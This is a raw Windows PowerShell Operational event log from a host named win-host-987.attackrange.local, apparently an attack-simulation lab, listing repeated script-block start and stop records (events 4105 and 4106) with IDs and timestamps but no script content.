ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049391
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049390
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049389
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049388
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049372
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049371
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049366
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049365
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049343
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049342
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049341
Keywords=None
